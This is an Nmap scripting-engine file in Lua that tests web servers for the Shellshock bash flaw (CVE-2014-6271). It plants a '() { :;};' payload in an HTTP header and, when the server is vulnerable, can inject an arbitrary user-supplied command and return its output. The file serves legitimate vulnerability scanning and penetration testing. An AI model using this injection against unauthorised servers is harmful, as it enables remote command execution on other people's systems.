description = [[
Attempts to exploit the vulnerability known as "shellshock" against web applications via HTTP headers. By default it simply echoes back a random string but other commands may be injected. 

To detect this vulnerability the script executes a command that prints a random string and then looks for it inside the page's body.   

Vulnerability originally discovered by Stephane Chazelas.

References:
* http://www.openwall.com/lists/oss-security/2014/09/24/10
* http://seclists.org/oss-sec/2014/q3/685
* 
]]

-- @usage 
-- nmap -sV -p- --script http-shellshock <target>
-- nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls <target>
-- @output
-- PORT   STATE SERVICE REASON
-- 80/tcp open  http    syn-ack
-- | http-shellshock: 
-- |   VULNERABLE:
-- |   HTTP Shellshock vulnerability
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:CVE-2014-6271
-- |       This web application might be affected by the vulnerability known as Shellshock. It seems the server 
-- |       is executing commands injected via malicious HTTP headers. 
-- |             
-- |     Disclosure date: 2014-09-24
-- |     References:
-- |       http://www.openwall.com/lists/oss-security/2014/09/24/10
-- |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
-- |       http://seclists.org/oss-sec/2014/q3/685
-- |_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
--
-- @xmloutput
-- <elem key="title">HTTP Shellshock vulnerability</elem>
-- <elem key="state">VULNERABLE (Exploitable)</elem>
-- <table key="ids">
-- <elem>CVE:CVE-2014-6271</elem>
-- </table>
-- <table key="description">
-- <elem>This web application might be affected by the vulnerability known as Shellshock. It seems the server &#xa;is executing commands injected via malicious HTTP headers. &#xa;      </elem>
-- </table>
-- <table key="dates">
-- <table key="disclosure">
-- <elem key="year">2014</elem>
-- <elem key="day">24</elem>
-- <elem key="month">09</elem>
-- </table>
-- </table>
-- <elem key="disclosure">2014-09-24</elem>
-- <table key="refs">
-- <elem>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169</elem>
-- <elem>http://www.openwall.com/lists/oss-security/2014/09/24/10</elem>
-- <elem>http://seclists.org/oss-sec/2014/q3/685</elem>
-- <elem>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271</elem>
-- </table>
-- @args http-shellshock.uri URI. Default: /
-- @args http-shellshock.header HTTP header to use in requests. Default: User-Agent
-- @args http-shellshock.cmd Custom command to send inside payload. Default: nil
---
author = {"Paulino Calderon <calderon()websec.mx","Paul Amar <paul()sensepost com>"}
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"exploit","vuln","intrusive"}

local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local vulns = require "vulns"

portrule = shortport.http

action = function(host, port)
  local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil
  local http_header = stdnse.get_script_args(SCRIPT_NAME..".header") or "User-Agent"
  local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/'

  local rnd = stdnse.generate_random_string(15)
  local payload = '() { :;}; echo; echo "'..rnd..'"'
  if cmd ~= nil then
    cmd = '() { :;}; '..cmd
  end
  -- Plant the payload in the HTTP headers
  local options = {header={}}
  options["no_cache"] = true
  options["header"][http_header] = payload

  stdnse.debug(1, string.format("Sending '%s' via HTTP header '%s'", payload, http_header))
  local req = http.get(host, port, uri, options)
  if req.status == 200 and string.match(req.body, rnd) ~= nil then
    local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
    local vuln = {
      title = 'HTTP Shellshock vulnerability',
      state = vulns.STATE.NOT_VULN, 
      description = [[
This web application might be affected by the vulnerability known as Shellshock. It seems the server 
is executing commands injected via malicious HTTP headers. 
      ]],
      IDS = {CVE = 'CVE-2014-6271'},
      references = {
        'http://www.openwall.com/lists/oss-security/2014/09/24/10',
        'http://seclists.org/oss-sec/2014/q3/685',
        'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169'
      },
      dates = {
        disclosure = {year = '2014', month = '09', day = '24'},
      },
    }
    stdnse.debug(1, string.format("Random pattern '%s' was found in page. Host seems vulnerable.", rnd))
    vuln.state = vulns.STATE.EXPLOIT
    if cmd ~= nil then
       options["header"][http_header] = cmd
       stdnse.debug(1, string.format("Sending '%s' via HTTP header '%s'", cmd, http_header))
       req = http.get(host, port, uri, options)
       vuln.exploit_results = req.body
    end
    return vuln_report:make_output(vuln)
  end
end